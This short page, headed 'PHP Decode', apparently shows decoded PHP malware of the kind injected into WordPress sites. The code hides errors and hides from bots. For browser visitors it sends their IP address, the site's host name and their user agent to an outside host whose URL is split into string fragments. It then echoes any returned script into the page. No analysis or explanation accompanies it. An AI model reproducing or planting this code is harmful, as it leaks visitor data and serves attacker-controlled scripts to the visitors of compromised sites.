PHP Decode

<?php #a6e18d# error_reporting(0); @ini_set('display_errors',0); $wp_zn93 = @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i', $wp_zn93) && !preg_match ('/bot/i', $wp_zn93))){ $wp_zn0993="http://"."http"."form".".com/"."form"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_zn93); if (function_exists('curl_init') && function_exists('curl_exec')) {$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_zn0993); curl_setopt ($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_93zn = curl_exec ($ch); curl_close($ch);} elseif (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) {$wp_93zn = @file_get_contents($wp_zn0993);} elseif (function_exists('fopen') && function_exists('stream_get_contents')) {$wp_93zn=@stream_get_contents(@fopen($wp_zn0993, "r"));}} if (substr($wp_93zn,1,3) === 'scr'){ echo $wp_93zn; } #/a6e18d# ?>